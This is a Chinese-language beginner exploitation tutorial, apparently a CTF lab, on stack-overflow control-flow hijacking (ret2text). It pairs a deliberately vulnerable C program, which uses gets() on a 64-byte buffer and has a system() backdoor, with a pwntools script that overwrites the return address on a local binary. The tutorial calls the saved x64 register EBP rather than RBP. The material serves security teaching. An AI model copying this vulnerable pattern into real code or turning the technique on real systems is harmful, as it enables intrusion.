1. 栈溢出基础

任务目标

本案例提供一个存在栈溢出漏洞的Linux ELF程序,程序中包含一个未被调用的后门函数backdoor()。目标是通过输入超长数据覆盖栈上的返回地址,使其指向backdoor(),从而劫持控制流并读取flag.txt文件内容。

漏洞程序源码

// vuln.c
#include <stdio.h>
#include <string.h>

void backdoor() {
    system("cat flag.txt");
}

void vulnerable() {
    char buf[64];
    gets(buf);
}

int main() {
    vulnerable();
    printf("Returned safely!\n");
    return 0;
}

编译与保护机制

# 关闭PIE和栈保护,启用NX(默认开启)
gcc -o vuln vuln.c -fno-stack-protector -no-pie
# 确认保护状态
checksec --file=./vuln

编译时关闭了栈金丝雀(Stack Canary)和PIE,使返回地址在固定位置且无溢出检测。NX启用意味着栈不可执行,但本案例利用的是代码段中已有的backdoor(),不受NX影响。

漏洞分析

gets()不检查输入长度,向64字节的缓冲区写入超长数据时,会依次覆盖:buf[0..63] → 保存的EBP(8字节,x64架构) → 返回地址。因此构造64字节填充 + 8字节假EBP + backdoor地址即可劫持控制流。

利用代码

# exploit.py
from pwn import *

# 获取backdoor函数地址
elf = ELF('./vuln')
backdoor_addr = elf.symbols['backdoor']
print(f"[*] backdoor() address: {hex(backdoor_addr)}")

# 构造payload
payload = b'A' * 64          # 填充buf
payload += b'B' * 8          # 覆盖保存的EBP(内容任意)
payload += p64(backdoor_addr) # 覆盖返回地址

# 本地执行
p = process('./vuln')
p.sendline(payload)
print(p.recvall().decode())

运行与验证

# 准备flag文件(仅用于本地验证)
echo "CTF{ret2text_success}" > flag.txt

# 运行利用脚本
python3 exploit.py

通过条件:程序输出CTF{ret2text_success},且不会打印Returned safely!。若输出Returned safely!,说明返回地址未被正确覆盖,需检查偏移量或地址计算。

关键点说明

  • 偏移量计算:x64下buf到返回地址的距离为64(buf大小)+ 8(保存的EBP),共72字节。
  • 地址格式:使用p64()将地址转为小端序字节串。
  • 若远程环境开启ASLR,由于未启用PIE,backdoor()地址固定,无需泄露。
buf[0..63] (64字节) 保存的EBP (8字节) 返回地址 ← 覆盖为backdoor() gets()写入方向 低地址 → 高地址 main() 调用 vulnerable() backdoor() 劫持

图中左侧为栈帧布局,右侧为正常调用链与劫持后的跳转路径。当gets()输入超过72字节时,返回地址被覆盖为backdoor()的入口,函数返回时ret指令将跳转到后门函数执行。